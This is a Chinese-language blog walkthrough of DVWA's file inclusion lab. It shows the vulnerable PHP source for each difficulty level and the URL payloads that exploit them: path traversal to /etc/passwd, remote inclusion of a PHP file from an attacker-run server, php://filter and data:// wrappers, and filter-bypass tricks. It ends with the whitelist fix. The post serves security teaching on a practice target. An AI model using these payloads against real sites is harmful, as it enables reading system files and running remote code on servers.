DVWA靶場-File Inclusion 文件包含

往期博文:

DVWA靶場-Brute Force Source 暴力破解

DVWA靶場-Command Injection 命令注入

DVWA靶場-CSRF 跨站請求僞造

靶場環境搭建

https://github.com/ethicalhack3r/DVWA

[網絡安全學習篇附]:DVWA 靶場搭建

目錄

 

File Inclusion

Low File Inclusion

核心代碼

攻擊方式

Medium File Inclusion

核心代碼

本地文件包含

遠程文件包含

High File Inclusion

核心代碼

Impossible File Inclusion

核心代碼


File Inclusion

Low File Inclusion

核心代碼

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

?>

這裏直接get傳參,包含文件,沒有進行任何過濾

攻擊方式

1、本地文件讀取

在實戰中,如果攻擊linux操作系統,最常見的就是查看其passwd文件

?page=/etc/passwd

2、遠程文件包含

?page=http://www.baidu.com/robots.txt

3、本地文件包含 Getshell

這裏我們使用phpinfo 測試

首先需要藉助我們的靶場的文件上傳,去上傳info 文件,我們可以直接後綴爲txt文件,文件包含的強大之處就在於他會執行所包含文件中的php代碼

#info.txt

<?php

phpinfo();

?>

?page=../../hackable/uploads/info.txt

4、遠程文件包含 Getshell

這裏我們本地搭建一臺服務器,IP:192.168.1.184

?page=http://192.168.1.184/info.txt

5、僞協議

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用於讀取源碼,php://input用於執行php代碼。

php://filter 文件讀取

?page=php://filter/read=convert.base64-encode/resource=index.php

data://

?page=data:text/plain,<?php phpinfo();?>

 

Medium File Inclusion

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

本地文件包含

代碼中過濾了 ../ ..\

如果我們知道其絕對路徑,直接包含絕對路徑,就可繞過檢測

?page=/etc/passwd

不知道的話,可以嘗試使用雙寫嵌套繞過

?page=…/./…/./..././..././..././etc/passwd

被replace 函數過濾之後

?page=../../../../../etc/passwd

 

遠程文件包含

代碼中過濾了http:// https://

由於這裏只過濾了小寫,我們可以嘗試大寫繞過

?page=HTTP://www.baidu.com/robots.txt

同樣,我們也可以嘗試使用雙寫嵌套繞過

?page=hhttp://ttp://www.baidu.com/robots.txt

被replace 函數過濾之後

?page=http://www.baidu.com/robots.txt

 

High File Inclusion

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

這裏要求$file 變量的開頭必須是file

由此我們想到了file 文件協議

爲了測試效果,我們在web 根目錄下創建一個info.php 文件

?page=file:///C:\phpStudy\WWW\info.php

 

Impossible File Inclusion

核心代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

這裏使用白名單過濾策略,只允許三個參數通過,也就是說提交的參數只能時 include.php file.php file2.php file3.php 這三個中的一個,徹底杜絕了文件包含漏洞


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-25

https://www.freebuf.com/articles/web/119150.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章